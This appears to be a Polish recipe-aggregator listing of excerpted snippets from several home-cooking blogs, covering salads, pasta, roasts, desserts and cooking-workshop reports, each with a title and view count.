sałata roszponka * kulka mozzarelli * 2 pomidory * 2 korniszony * sól , pieprz  * 2 łyżki oliwy z oliwek * łyżeczka musztardy Przygotowanie : Na dnie naczynia połączyć oliwę z musztardą i przyprawami. Przykryć sos sałatą, pokrojonym pomidorem i tartą mozzarellą. Ja wykorzystałam ser typu włoskiego. Całość posypać pokrojonym korniszonem. Przed jedzeniem wymieszać. U mnie z pieczywem, ale sama sałatka jest pyszna i da się

Magiczne Życie Marty
Shoarma drobiowa 174

przyprawy utrzeć z oliwą i dodać do mięsa. Marynować przynajmniej godzinę, ja zostawiam zawsze na noc, ale niekoniecznie w lodówce.  Mięso szybko obsmażam na teflonowej patelni, podaję z sosami na bazie jogurtu naturalnego i np. frytkami

Magiczne Życie Marty
Placek otrębowy ala pizza z roszponką 179

około 10 minut z każdej strony, na bardzo małym gazie. Można także piec go przez 20 minut w 200 stopniach.  Gotowy placek odkładam na kratkę do przestygnięcia. Smaruję sosem pomidorowym i układam na nim ulubione dodatki

Magiczne Życie Marty
Ryż curry z cukinią i boczkowymi chipsami 177

Ryż świetnie łączy się z większością dodatków. Lubię ryż z pieczarkami, lubię z kurczakiem i sosem słodko-kwaśnym. W tym przepisie połączyłam ryż z przyprawą curry, pieczarkami i cukinią. Do tego olej z pestek dyni i chrupiące chipsy z boczku. Musicie spróbować tego połączenia koniecznie. Składniki : * torebka białego ryżu * cukinia * 5-6 pieczarek * 2 plasterki boczku wędzonego  * curry, wędzona

Magiczne Życie Marty
Tydzień w moim telefonie XXVII 148

nadzieję, że chociaż będą z tego jakieś owoce. Dodaję zdjęcia z mijającego tygodnia.  * prezent, niespodzianka od Moniki i całej drużyny Anielskich Przysmaków   * makaron  z pysznym sosem   * delicje jagodowe to moja bajka   * kubeczki z Pepco - szkoda, że tylko 3 sztuki były, bo by mi się przydał cały komplet   * zioła wysiane   * nowy domek na barwniki

Magiczne Życie Marty
Kotlety brokułowe i pyszne burgery z awokado 169

bułkę tartą. Przyprawić i dobrze wymieszać. Uformować kotlety i usmażyć na złoty kolor z obu stron.  Dodatkowo : * bułka - u mnie grahamka * plasterki ogórka * plasterki pomidora * plasterki awokado * ulubiony sos bądź dressing * liście sałaty

Magiczne Życie Marty
Szaszłyki idealne na grilla 220

więcej równe kawałki. Patyczki do szaszłyków namoczyć i na przemian nadziewać wszystkie składniki.  Piec na grillu, najlepiej na aluminiowych tackach bądź folii aż do miękkości mięsa. Podawać z sosem tzatziki

Magiczne Życie Marty
Sałatka grillowa z dressingiem z oleju lnianego 208

czerwonej papryki * kilka rzodkiewek Dressing : * pół łyżeczki ziół prowansalskich * 3 łyżki oleju lnianego * łyżeczka soku z cytryny * szczypta soli i pieprzu do smaku Przygotowanie : W słoiczku wymieszać wszystkie składniki sosu do sałatki. Sałatę pokroić w drobne paseczki, dodać ćwiartki pomidorków koktajlowych i rzodkiewek, półplasterki ogórka oraz paprykę pokrojona w kostkę. Przed podaniem polać sałatę przygotowanym dressingiem

Magiczne Życie Marty
Karkówka pieczona z czosnkiem i cebulą 296

cebulą i dużą ilością czosnku. Dla mnie połączenie idealne. To mięso nadaje się i na kanapki, po całkowitym wystygnięciu. Ale też idealnie sprawdzi się w grubszych plastrach w sosie do obiadu. Polecam!  Składniki : * około kg karkówki bez kości * pół główki czosnku * cebula * ulubione przyprawy - u mnie sól, pieprz, majeranek Przygotowanie : Mięso dobrze natrzeć przyprawami oraz przeciśniętym przez praskę czosnkiem

Magiczne Życie Marty
Makaron Bucatini ze szpinakiem, awokado i oscypkiem 209

pieprz świeżo mielony  Przygotowanie : Rozgrzać oliwę, wrzucić drobno posiekany czosnek, przesmażyć razem ze szpinakiem, dodać kostki awokado. Makaron ugotować al dente w osolonej wodzie. Wyłożyć na talerze, dodać sos ze szpinaku i awokado. Gdyby był za gęsty można dodać odrobinę wody z gotowania makaronu. Całość przyprawić, posypać startym oscypkiem. Co do samego makaronu to myślałam, że to takie same

Magiczne Życie Marty
Tydzień w moim telefonie XXXIV 173

słonecznik    * moje ziółka  * ciekawa wystawa w mieście    * tak, wiem że to zło i skład ma do bani, ale znalazłam w Kauflandzie a smak tego sosu chodził za mną od dawna! Mama mnie rozumie :) * talerzyk za złotówkę  * kilkanaście produktów z Tesco odebranych do testowania   * będą kolejne kwiaty  * maj zawsze kojarzy mi się

Magiczne Życie Marty
Sałatka makaronowa z kurczakiem i czerwoną fasolą 238

Makaron ponownie gości na moim stole. Tym razem w pysznej i lekkiej sałatce z dodatkiem pieczonego kurczaka i fasoli czerwonej. Do tego sos i mamy gotowe danie do zabrania ze sobą na piknik czy do pracy. Spróbujecie ? Składniki : * pół puszki czerwonej fasoli konserwowej  * duży filet z kurczaka * 2 łyżki dobrej jakościowo oliwy z oliwek * ulubione przyprawy do kurczaka * szklanka

Magiczne Życie Marty
Kotlety mielone z suszonymi pomidorami 190

już tutaj dominuje takie połączenie smaku że nie dodawałam. Wymieszać z przyprawami, jajkiem i serem. Uformować kotlety, panierować w bułce tartej, smażyć na złoty kolor. Podawać z ziemniakami, sosem pieczarkowym i konserwową papryką

Magiczne Życie Marty
Szybka sałatka z awokado 360

cytryny, pieprz świeżo mielony  Przygotowanie : Awokado, ogórka i paprykę czerwoną pokroić w kostkę. Pomidorki koktajlowe przekroić na pół. Wszystkie składniki sałatki wymieszać w misce. Składniki sosu wymieszać, polać przed podaniem sałatki. Idealnie smakuje z czosnkowymi grzankami

Magiczne Życie Marty
Pomidorowy makaron ze schabem i chorizo - Pudliszki - pomidorowe inspiracje / mięso 232

oraz cukier. Koncentrat wymieszać z szklanką wrzątku, dodać do mięsa i kiełbasy. Całość dusić pod przykryciem, aż mięso będzie miękkie. Makaron ugotować al dente w osolonej wodzie. Wymieszać z sosem. Posypać ziołami. Całość tuż przed podaniem skropić sokiem z cytryny

Magiczne Życie Marty
Ziołowy makaron z kurczakiem i ciecierzycą 184

przyprawionego kurczaka, usmażyć na złoty kolor, dodać pokrojone w paseczki suszone pomidory. Wrzucić ugotowaną ciecierzycę. Całość wymieszać z makaronem, dodać dużo posiekanych ziół.  Z duszenia mięsa powstanie sos, można dodać do niego łyżkę śmietanki

Magiczne Życie Marty
Pieczone jabłko z żurawiną 176

Cześć :) Kto z Was nie lubi jabłek lub żurawiny? Gwarantuję, że po spróbowaniu tego deseru, będzie on gościć często na Waszych stołach! Kwaśne jabłko, kwaśna żurawina i pyszny słodki sos! Pycha! To już ostatni przepis z warsztatów "Regiony dobrego smaku". Zapraszam! Czytaj więcej » Ten i więcej przepisów znajdziesz na blogu kulinarnym www.poracoszjesc.pl

Pora coś zjeść
Risotto z kurczakiem i pieczarkami 293

jest nieco inna od pozostałych. Ma zaokrąglone i dość krótkie, ale szerokie ziarna. Zawiera bardzo dużo amylozy, czyli skrobi, która rozpuszcza się w wodzie. Właśnie dzięki niej uzyskujemy gęsty sos, który idealnie zagęszcza nasze danie. Czytaj więcej » Ten i więcej przepisów znajdziesz na blogu kulinarnym www.poracoszjesc.pl

Pora coś zjeść
Placki z cukinii 646

straganach i stoiskach. I tak wpadłam na cukinię i szalotki, a więc na pyszne placki z ich udziałem! Placki są delikatne, zielone od dodanych warzyw. Wybornie smakują z sosem czosnkowym, jednak same równie dobrze się prezentują. Zapraszam! Czytaj więcej » Ten i więcej przepisów znajdziesz na blogu kulinarnym www.poracoszjesc.pl

Pora coś zjeść
Chutney pomidorowo-brzoskwiniowy 154

Dzień dobry! Wciąż przygotowuję różne przetwory, dzisiaj padła kolej na chutney. Chutney to tradycyjny gesty sos używany w kuchnii indyjskiej, można go przygotowywać z owoców i warzyw, na pikantnie lub bardziej słodko. Idealnie komponuje się z daniami mięsnymi. Moja wersja jest wersją nieco słodką, ale bardzo smaczną. Gorąco polecam Wam przygotowanie takiego przetworu. Zapraszam! Czytaj więcej » Ten i więcej przepisów

Pora coś zjeść
Risotto ze szpinakiem 200

jakże zdrowym i zielonym szpinakiem! Dodatek sera gorgonzola sprawia, że risotto jest jeszcze bardziej wyraziste, a gorgonzola i szpinak to bardzo smaczne połączenie, wypróbowane już w przepisie na sos szpinakowy . Zapraszam! Czytaj więcej » Ten i więcej przepisów znajdziesz na blogu kulinarnym www.poracoszjesc.pl

Pora coś zjeść
Roladki z piersi kurczaka faszerowane suszonymi pomidorami, podane na sałatce z gruszkami 304

jest w pięknym błękitnym kolorze, aż chce się żyć! Dzisiaj nie narzekamy mówiąc "nie lubię poniedziałków"! :-) Przepis, który Wam dzisiaj prezentuję to wariacja na temat roladek w sosie szałwiowym , które miałam okazję Wam już kiedyś pokazać. Stworzyłam na ich podstawie całkiem nowe danie, bardzo smaczne :-). Roladki z suszonymi pomidorami świetnie smakują razem z sałatką, w której przeważają słodkie

Pora coś zjeść
KONKURS - Do czego dodasz syropu Mount Caramel? 167

Witajcie! KONKURS ZAKOŃCZONY! Dziękujemy za wszystkie smakowite przepisy, które nam przesłaliście! Trudno było nam wybrać te najlepsze i najbardziej wyróżniające się :-) PIERWSZE MIEJSCE PaniMISIOWA za pieczoną kaczkę karmelową z sosem pomarańczowym. DRUGIE MIEJSCE Magda za szarlotkową kawę. TRZECIE MIEJSCE Justyś za warzonkę. CZWARTE MIEJSCE Cake Caprice za domowy Baileys. PIĄTE MIEJSCE Ona za lasagne z cynamonem. Serdecznie gratulujemy i czekamy

Pora coś zjeść
Słodkie warsztaty z Kasią 145

warsztatach zorganizowanych przez Kasię do pieczenia i agencję Blomedia. Spotkanie poprowadził mistrz cukiernictwa p. Tomasz Deker oraz p. Piotr Murawski, szef kuchni Nestle, którego możecie znać np. z reklamy sosu serowego Knorr, którą obecnie można oglądać w telewizji :-). Warsztaty zapowiadały się super, nie tylko z powodu prowadzących jak i tematu, ale również z tego powodu, że były kameralne, bo uczestniczek

Pora coś zjeść
Pavlova z malinami i hibiskusem 166

Kucharnia , postanowiłam przygotować podobny z hibiskusa i malin, tylko zamiast przygotowywać czekoladki, przygotowałam bezę :-). Cudownie fioletową bezę (ocet zakwasza środowisko, dlatego nie jest różowa)! Zwieńczeniem deseru jest słodko-kwaśny sos z granatów i malin. Pavlova zniknęła tak szybko jak się pojawiła. Serio! To uzależnia! :-) Zapraszam! Czytaj więcej » Ten i więcej przepisów znajdziesz na blogu kulinarnym www.poracoszjesc.pl

Pora coś zjeść
Babka z majonezem 438

pierwszy piekłam ciasto z dodatkiem majonezu, nie do końca wierząc, że ciasto z jego zawartością może być dobre i nie smakować jak ten wyśmienity dodatek do sałatek czy sosów. Spróbowałam, posmakowałam i przyznam, że bardzo mile zaskoczył mnie ten wypiek - majonez nie jest w ogóle wyczuwalny, a babka smakuje bardzo dobrze. Może nie jest to przepis, przy którym biegniemy

Smakołyki Bereniki
Sernik krówkowy 6844

Sernik krówkowy to propozycja dla wielbicieli słodkich, ciągnących cukierków, jakimi są krówki. Twaróg sernikowy wzbogacony został o sporą ilość masy krówkowej, ponadto wierzch sernika wieńczą orzechy włoskie polane sosem krówkowym. Jest słodko, ale myślę, że nie za słodko. Do sernika oprócz masy krówkowej, która sama w sobie jest mocno słodzona, nie dodajemy cukru. Sernik jest ciężki i kremowy, a jego

Smakołyki Bereniki
Szybka sałatka z zupek chińskich z papryką, ogórkiem, pomidorem i kukurydzą 765

Post Szybka sałatka z zupek chińskich z papryką, ogórkiem, pomidorem i kukurydzą pojawił się poraz pierwszy w KulinarnePrzeboje.pl .

Kulinarne Przeboje
Sałatka z zupek chińskich z wędzonym kurczakiem, granatem i pomidorem 239

Post Sałatka z zupek chińskich z wędzonym kurczakiem, granatem i pomidorem pojawił się poraz pierwszy w KulinarnePrzeboje.pl .

Kulinarne Przeboje
Obiad. Przepisy na obiad. Co na obiad? 411

DANIA Z WOŁOWINY DANIA RYBNE DANIA Z MAKARONEM DANIA Z RYŻEM   Roladki schabowe z serem Cheddar Panierowany kotlet schabowy z mozzarellą Conchiglioni (muszle) ze szpinakiem i fetą w sosie beszamelowym Post Obiad. Przepisy na obiad. Co na obiad? pojawił się poraz pierwszy w KulinarnePrzeboje.pl

Kulinarne Przeboje
Przekąski na imprezę – przepisy 1786

wędzonym kurczakiem i suszonymi pomidorami Przekąski na imprezę: Wędzony łosoś z twarożkiem na krakersach Sałatki Oryginalna sałatka grecka (chłopska) z fetą Sałatka z nuggetsami, rukolą, serem i pomidorkami z sosem musztardowym Sałatka z wędzonym kurczakiem, makaronem, pomidorami, orzeszkami ziemnymi i słonecznikiem Szybka sałatka z zupek chińskich z papryką, ogórkiem, pomidorem i kukurydzą Sałatka Gyros warstwowa Sałatka z wędzonym łososiem, granatem

Kulinarne Przeboje
Szybka i prosta sałatka z pomidorami, czerwoną cebulą i zielonymi oliwkami 292

Post Szybka i prosta sałatka z pomidorami, czerwoną cebulą i zielonymi oliwkami pojawił się poraz pierwszy w KulinarnePrzeboje.pl .

Kulinarne Przeboje
WEGETARIAŃSKA POTRAWKA TIKKA MASALA. 301

wegetarian, aby i wszyscy roślinożercy (w tym i ja), mogli zakosztować tego bukietu najrozmaitszych aromatów i smaków na jednym talerzu.   WEGETARIAŃSKA POTRAWKA TIKKA MASALA /pomysł własny; sos na podstawie Kwestia Smaku ;/ na 3-4 porcje 1 cukinia zielona (mała) 1 puszka groszku konserwowego (może być też mrożony) 1 puszka kukurydzy konserwowej 1 por (biała część) 500 ml przecieru

W kuchni Karmel-itki
Niedzielny obiad? A jak! 364

pięknie! a w lodówce nic gotowego. - To cudownie. Do zobaczenia! Z paniką w oczach biegałam to tu, to tam. No, udało mi się jednak coś zaradzic. WĄTRÓBKI DROBIOWE W SOSIE. (przepis autorski;) 3 cebule czubata łyżka masła 1 kg drobiowych wątróbek sól, pieprz liśc laurowy 1 szklanka bulionu (np. z kostki) 1/2 małego kubeczka śmietany łyżka mąki Cebule pokroiłam

W kuchni Karmel-itki
Zrol(adk)owany. 237

plaster oprószyłam solą, pieprzem  i natarłam słodka papryką.Położyłam po plastrze żółtego sera i po kawałku papryki. Zawinęłam, obwiązałam nitką. Usmażyłam na niewielkiej ilości tłuszczu. ************************************ SEROWE ROLADKI W SOSIE SEROWYM 6 plastrów schabu 6 plastrów szynki 6 plastrów sera żółtego 3 serki topione ( u mnie gouda ) sól, pieprz, przyprawa typu "Maggi" posiekana natka pietruszki Każdy kawałek mięsa roztłukłam cienko

W kuchni Karmel-itki
Pół na pół. O jesieni. I pizza. 179

chleby posmarowane oliwą, czosnkiem, posypane ziołami. Z Grecji (ok. 500 p.n.e.) trafiły do starożytnego Rzymu. Po sprowadzeniu do Europy pomidorów, w XVII-wiecznym Neapolu do pizzy zaczęto nieodłącznie stosować sos pomidorowy.   PIZZA NA BLACHĘ  "pół na pół" (ulubiona w moim domu) 0,5 kg mąki pszennej 0,5 łyżeczki cukru 1 łyżeczka soli 0,5 szklanki letniej wody

W kuchni Karmel-itki
Jesienna samotnia. 317

maśle podsmażyłam cynamon, chili, tymianek. Do smażących się przypraw, wlałam zmiksowane pomidory i dusiłam ok. 7 minut. Następnie doprawiłam "jarzynką". Całością zalałam skrzydełka, po czym  poddusiłam je z sosem przez ok. 15 - 20 minut na niezbyt mocnym ogniu. Podałam ze świeżym pieczywem. Smacznego

W kuchni Karmel-itki
Fast food? Nie, dziękuję. No, z drobnym wyjątkiem... 287

kawałki parówek. 3. Po zawinięciu układamy je na blaszkę posypaną mąką. Pieczemy ok. 20 min. w 200 stopniach. Powinny się lekko zrumienić. Podawać z ketchupem lub z sosem czosnkowym. * Moje paróweczki podzieliłam na 2 partie: jedną z nich wzbogaciłam o plastry sera, w które owinęłam parówki nim okleiłam je ciastem drożdżowym.  ** Do ciasta dosypałam suszony granulowany czosnek - hot dogi

W kuchni Karmel-itki
Bo idą już święta... Musztardowe śledzie na bogato. 278

olejem - gęsta konsystencja. Można ją rozrzedzic, dodając oliwy z oliwek. W słoiku układałam warstwami śledzie, cebulę, ogórki, paprykę, w między warstwy wkładając liście laurowe oraz goździki i smarując musztardowym sosem. Słoik zakryłam szklanym wiekiem i odstawiłam na 2 dni do lodówki, aby się "przegryzło".  SMACZNEGO

W kuchni Karmel-itki
Pizza. Razy dwa - dla każdego coś innego. 211

posypałam paseczkami sera. Piekłam w 200 stopniach ok. 35 minut, ustawiając na mocne grzanie spodu.   ************************************************* PIZZA Z TUŃCZYKIEM I SEREM CAMEMBERT (własna wariacja;) puszka rozdrobnionego tuńczyka w sosie własnym pomidor 4 ogórki kiszone krążek sera camembert 3 łyżki koncentratu pomidorowego (lub keczupu) oregano, bazylia Tuńczyka osączyłam z zalewy. Na cieście rozsmarowałam koncentrat, obficie posypałam ziołami. Wyłożyłam tuńczyka, lekko

W kuchni Karmel-itki
Rodzinny obiad. Karkówka duszona w piwie. 230

wyjmuję je.  Mąkę rozrobiłam z wodą i śmietanką, dodałam do piwa i mocno zamieszałam, zagotowałam. Jeśli powstaną grudki mąki - przetrzeć przez sito, aby uzyskać gładką konsystencję. Włożyłam do sosu mięso i podgrzałam. Podałam z domowymi pyzami i kapustą kiszoną.   KAPUSTA KISZONA. (od Babci;) 400g kapusty kiszonej 2 - 3 średnie marchewki liść laurowy 4 ziarna pieprz 2 ziela angielskie

W kuchni Karmel-itki
Prima Aprilis.. Grypa ma ochotę na psikusa. 180

państwowych – przykładowo sojusz  antyturecki z Leopoldem I Habsburgiem podpisano 1 kwietnia 1683, ale antydatowano  go na 31 marca, aby na dokumencie nie widniała data prima aprilis. DOMOWY SOS TATARSKI. (podaję składniki - proporcje zależą od ilości, jaką chcemy uzyskać i od upodobań, w zależności od preferencji smakowych) marynowane pieczarki cebula kilka ogórków konserwowych sól, pieprz majonez odrobina chrzanu troszkę

W kuchni Karmel-itki
Ahoj, marynarzu! Pieczone kotleciki z tuńczyka. 198

Wesoły śmiech, brzmiące szanty, rozdzierające ciszę panującą w około. Ach! Ale dziś, zamiast wyprawy, serwuję kotleciki z tuńczyka. Ahoj, marynarzu! PIECZONE KOTLECIKI Z TUŃCZYKA. (autorskie;) 2 puszki tuńczyka w sosie własnym pęczek szczypiorku 1 jajko bułka tarta pieprz, sól, 2 ząbki czosnku odrobina soku z cytryny olej do posmarowania Tuńczyka dokładnie osączyłam z zalewy. Posiekałam szczypiorek. Czosnek przepuściłam przez praskę

W kuchni Karmel-itki
Magiczna Noc Restauracji. 213

mistrz swą potrawę. Autorska. Specjalnie na jedyną taką noc w roku.Smakowity przykład kuchni fusion! Flambirowana pierś z kurczaka w wiśniówce na risotto borówkowo-malinowym, podana na glazurowanym melonie z sosem cytrynowo-kremowym i malinami, ozdabiana jadalnym bławatkiem i kiełkami brokułów. Glazurowany melon? Tak, w miodzie. Pierś kurczaka także, następnie "podpalona" na wiśniówce. Ach, raj w ustach, niebo

W kuchni Karmel-itki
Truskawka, co przegoni deszcz. MAKARON Z TWAROGIEM I TRUSKAWKAMI. 251

rozgniotłam widelcem w wysokim naczyniu. Wrzuciłam do sera truskawki, większe podzieliłam na połówki. Dodałam cukier puder i wszystko razem zmiksowałam przy pomocy blendera. Ugotowany makaron odcedziłam i gorący polałam sosem. Wspaniale też smakuje na zimno. Smacznego

W kuchni Karmel-itki
Ekspresowa kalafiorowa dla laika. 257

stopnie! Co prawda, w słońcu, ale przy tej duchocie nawet w cieniu ma się ochotę rozpłynąć. Przy takim upale nie mam nigdy ochoty na ciężką strawę. Kawał mięsa w sosie nie bawi mnie, wręcz odrzuca. Nie mam ochoty na nic. Chociaż... W lodówce znajduje się kalafior. Jeszcze świeży, ale czas by go już zrobić. Aby zawadza. Kilka marchewek, pietruszka, jakaś

W kuchni Karmel-itki
Schabowy z cukinii? PANIEROWANA CUKINIA. 245

pół z mąką. Plastry cukinii panierowałam w jajku i bułce jak schabowe. Smażyłam złoty kolor.  Pyszne na ciepło i zimno. Podałam z ketchupem.  Pasuje każdy inny sos. Smacznego! Pozdrawiam wszystkich zabieganych. Karmel-itka

W kuchni Karmel-itki
Niedzielny obiad rodzinny. BIODRÓWKA PIECZONA. 281

Liście laurowe rozkruszyłam w palcach i posypałam mięso. Wstawiłam do pieca nagrzanego do 200 stopni i piekłam ok. 1h i 15 minut. Podałam z domowymi kluskami na parze i sosem pieczeniowym. SMACZNEGO! Pozdrawiam niedzielnie. Miłej, ciepłej rodzinnej atmosfery! Karmel-itka

W kuchni Karmel-itki
Porządki życiowe. DUSZONA KARKÓWKA W PAPRYCE. 200

pokrywą. Dusiłam aż do miękkości. Użyłam szybkowaru, co zdecydowanie skrócił czas duszenia.  Bez pokrywy szybkowarowej duszenie zajmie ok. 2 godzin. W szybkowarze czas jest o połowę krótszy. Powstał sos paprykowy, który świetnie pasuje do kaszy. Właśnie z kaszą podałam. *********** SMACZNEGO! Pozdrawiam, Karmel-itka

W kuchni Karmel-itki
"Kulinarne Inspiracje" Kamisa. KURCZAK ZE ŚLIWKĄ. 234

obsmaż. Następnie zalej śmietanką, dodaj pokrojone pieczarki (pomijam ten etap), przykryj i duś 10-15 minut. Posól do smaku. Podawaj z pieczonymi ziemniakami posypanymi kolendrą i sałatą z sosem winegret. Moja ocena: Przyznaję, że czuję mile zaskoczona. Zestaw przypraw i ziół został naprawdę dobrze skomponowany. Śliwki i śmietanka pasują. Całe danie syci i smakuje znakomicie. Jedno zastrzeżenie - jeśli ktoś potrzebuje

W kuchni Karmel-itki
Impuls chwili. DAKTYLE W CZERWONYM WINIE. 206

wszystko razem na małym ogniu  przez ok. 10 minut. Następnie rozkręciłam gaz na maksa i mieszając, podgrzewała, aż daktyle rozmiękną, a płyn w większości wyparuje, zostawiając tylko gęsty sos. Podałam na gorąco z makaronem. Smacznego! Pozdrawiam wszystkich i ich impulsy chwilowe. Karmel-itka

W kuchni Karmel-itki
Urugwaj od kuchni. INDYK W MARCHEWCE. 243

octu balsamico. Buseca, czyli prosta i smaczna zupa z ogonów wołowych, z groszkiem  i fasolą, przyrządzona na ostro. Bardziej delikatne są medaliony z polędwicy wołowej  w sosie z czerwonego wina. Desery Nie ma kuchni, która obeszłaby się bez deseru, a więc na deser prosta i sycąca chajá .  Jest to nic innego jak   ciasto ze śmietaną

W kuchni Karmel-itki
Savoir-vivre. JAK PERFEKCYJNIE UŁOŻYĆ SZTUĆCE? 430

śmietany, 26. Łyżka do koktajli, 27. Łyżka kucharska,  28. Łyżka do sałaty duża, 29. Widelec do sałaty duży, 30. Widelec kucharski, 32. Łyżka wazowa, 33. Łyżka do sosu,  34. Nóż do steków, 35. Nóż do pizzy (ząbkowany), 36. Nóż do tortu, 37. Łopatka do tortu, 38. Szczypce do ciast,  39. Szczypce do lodu, 40. Nóż serwingowy

W kuchni Karmel-itki
CYTRYNOWA BABKA MAJONEZOWA Z ŻURAWINĄ SUSZONĄ. 269

takich okolicznościach, wcale mnie nie dziwi. A następnie długie godziny spędzone w kuchni. Baby rosnące w piekarniku, baranki z masła już czekające w lodówce, jajka, szynki w galarecie, sos tatarski już gotów, kiełbasy co nie miara... Ach! Co dom, to inna zastawa stołu, bynajmniej w każdym bogata i wielce urozmaicona... Dziś zapraszam Was na kolejną propozycję pochodzącą od mojej Babci

W kuchni Karmel-itki
MAZUREK NA WAFLACH DLA SPÓŹNIALSKICH. Życzenia. 275

Już wszystko gotowe? Tak, na pewno... Baranek z masła, kiełbasa, baby i serniki, żur, galareta, pasztet i pieczenie,sos do jaj,  szynka w galarecie, sałatka jarzynowa...  A mazurek? O kurrczaczki,a mazurek gdzie? Są takie sytuacje, kiedy nagle zatrwożenie nas obezwładnia. Mazurek musi być, w końcu to Wielkanoc! Na Boże Narodzenie nieodłącznie występuje makowiec lub makowa strucla

W kuchni Karmel-itki
SAŁATKA Z ZUPEK CHIŃSKICH. 933

kosteczkę, a białą część pora w półtalarki.  Przyprawy z zupek mieszam z jogurtem i majonezem.  Do makaronu dodaję wszystkie składniki, na końcu mieszając z jogurtowo-majonezowym sosem. *   zabieg ten spowoduje, że makaron nie wchłonie aż tyle płynu, a więc zapobiegnie to dodawaniu      kolejnych porcji jogurtu lub majonezu, przez co nie zwiększy się kaloryczność

W kuchni Karmel-itki
KRUCHE BABECZKI RABARBAROWE Z TRUSKAWKAMI. 215

zaczął się sezon rabarbarowy. Szykują się placki drożdżowe, babeczki, kompoty, ciasteczka, sosy i inne rabarbarowe cuda. Zapewne i do mięsa coś się na blogach spotka, jak i słodkości, które będą górować. Ale wiecie co? Strasznie ciężko u mnie rabarbar dostać! Na targowisku, w sobotę, kiedy zjeżdża się cała okolica, cały mi wykupili (wracałam z pracy pod koniec bazaru). Szukałam wszędzie

W kuchni Karmel-itki
DROBIOWE GOŁĄBKI BEZ ZAWIJANIA. 1013

komunikować między sobą w realnym świecie. Ale nie odstaję w kuchni. Śledzę trendy, chociaż nie gonię ślepo za nimi. Dziś przepis na szybkie klopsiki z posiekaną kapustą, zanurzone w sosie pomidorowym. A'la gołąbki bez zbędnego bawienia się w zawijanie w liście kapusty. A jako, że drobiowe, są lżejsze. GOŁĄBKI BEZ ZAWIJANIA. /przepis bardzo popularny ;/ 500g mielonego mięsa drobiowego

W kuchni Karmel-itki
SAŁATKA Z ŁOSOSIEM, TRUSKAWKAMI I OCTEM BALSAMICZNYM. 300

Upały. A kiedy jest gorąco, Karmel-itka ma mniejszy apetyt. Ha, ale na tłuste sosy, ciężkie mięsiwa, obfite porcje... Nie, nie, nie! Mamy w końcu czerwiec, prawie, że lato, a na ogródkach mnóstwo pyszności. Apetyt rośnie jednak, na samą myśl o czymś lekkim, zdrowym, co jednocześnie zaspokoi głód i zmysł smaku. Co nie zabiera wiele czasu, składa się z niewielu

W kuchni Karmel-itki
PIKANTNY KAPUŚNIAK Z CHORIZO. 252

Wakacje to okres lekkich zup jarzynowych, delikatnych makaronów pełnych warzyw, kolorowych sałatek i owocowych deserów. Wyrzucamy z jadłospisów tłuste mięsiwa, ciężkie sosy, majonezowe i syte sałatki czy ciasta na bazie kremów. Upał nie sprzyja takim pozycjom w karcie dań, poza tym korzystamy z tego, co znajdujemy w ogrodach, na straganach, a więc z sezonowych produktów. Czasami jednak nachodzi ochota

W kuchni Karmel-itki
ZAJAZD POD CARYŃSKĄ, Ustrzyki Górne, Bieszczady. 229

wyglądały smakowicie, pachniały rewelacyjnie, a do tego były w idealnej temperaturze - bardzo ciepłe, ale nie parzące. Gulasz z dzika był dobrze doprawiony, mięso z dzika miało intensywny smak, a sos nie tłumił go. Placki dobrze usmażone, a surówki świeże i aromatyczne. Nie mam żadnych zastrzeżeń. Jedyne co, panuje w lokalu samoobsługa. Zamawiając danie, dostajemy numerek w postaci małego druczku

W kuchni Karmel-itki
KULINARNE WYZWANIA FAIRY - 20.08.2013, Warszawa. 227

Jerzym, swoimi asystentami, po czym podszedł się przywitać i porozmawiać chwilę. Zapytałam, czy coś im pomóc, nie znoszę siedzieć bezczynnie. Dostałam zadanie rozłożyć na stołach i półkach produkty, przyprawy, sosy, które ekipa przywlokła ze sobą do gotowania. Wtedy to, dopiero, dowiedziałam się z jakim Jerzym mam do czynienia. A to z samym Jerzym Sobieniakiem, którego można znaleźć w kuchni

W kuchni Karmel-itki
PYRY Z GZIKIEM. 256

kształt. Dodatkowo mamy KULANKI - kluski "kulane" na stolnicy, z surowych ziemniaków i mąki, czy też drożdżowe pyzy, zwane KLUCHAMI NA PARZE albo ŁACHAŃCAMI, podawane zamiast ziemniaków do mięs i sosów. Z pyzami i MODRĄ KAPUSTĄ gospodynie najchętniej podają pieczoną kaczkę. Jako przekąska często służy galaretka z mięsa, zwana GALARTEM albo ZIMNYMI NÓŻKAMI. Przepisy na wielkopolskie potrawy można znaleźć tutaj

W kuchni Karmel-itki
KREWETKI Z CYDREM I SZAFRANEM. 270

alkohol w połowie się zredukuje. Wtedy wrzucam krewetki i gotuję razem pod przykryciem 3-4 minuty.  Natkę pietruszki siekam. Do ugotowanych krewetek dolewam delikatnie śmietankę, która zagęści sos. Można także użyć mąki, w przypadku zbyt małego zagęszczenia. Dodaję natkę pietruszki, doprawiam pieprzem. Podaję na zimno do pieczywa lub na ciepło z ugotowanym ryżem. SMACZNEGO! Pozdrawiam,  Karmel-itka

W kuchni Karmel-itki
PARÓWKI Z SEREM W CIEŚCIE FRANCUSKIM. 212

Ogólnie rzecz biorąc, nie znoszę jedzenia typu fast-food. Na samą myśl, aż się wzdrygam, widząc przed oczami olbrzymie hamburgery ociekające tłustymi sosami, wielkie kebaby, hot-dogi... No właśnie, hot-dogi. Nie tknę kupnego,z jakiejś budki na mieście, ale jeśli przygotuję sama, to owszem, chętnie się uraczę. Jednak proces pieczenia bułek nieco mnie zniechęca. Żyję szybko, najczęściej brak

W kuchni Karmel-itki
Warsztaty kuchni hiszpańskiej w ROTONDO - 19.11.2013, Poznań. 224

typowo hiszpański nastrój. Stąd też nie mogło zabraknąć prawdziwego, hiszpańskiego jedzenia. MENU: Gazpacho andaluzyjskie Paella marinara (z owocami morza ) fot.: Karmel-itka Cocido madrileno ( gulasz madrycki)  Churros z sosem czekoladowym fot. Karmel-itka. Crema catalana ( krem kataloński ) fot. : Karmel-itka .   Panierowane jajka przepiórcze fot. : Karmel-itka. Tortilla di patatas fot.: Karmel-itka Pierwszy raz w życiu pracowałam

W kuchni Karmel-itki
PAELLA MARINARA. 211

paprykę, przesmażam. Wrzucam czosnek i smażę 15 sekund, na samym końcu wrzucając pomidory.  Całość smażę 2 minuty. Dodaję koncentrat pomidorowy, słodką i wędzoną paprykę. Wlewam wino, zagotowuję. Redukuję sos o połowę na większym ogniu przez ok. 3 minuty. Na patelnię z warzywami wsypuję ryż, przesmażam lekko ok. 2 minuty, dodaję bulion, ale porcjami. Mieszam. Znów nieco bulionu, mieszam, zagotowuję

W kuchni Karmel-itki
KOTLETY MIELONE W WAFLU. 400

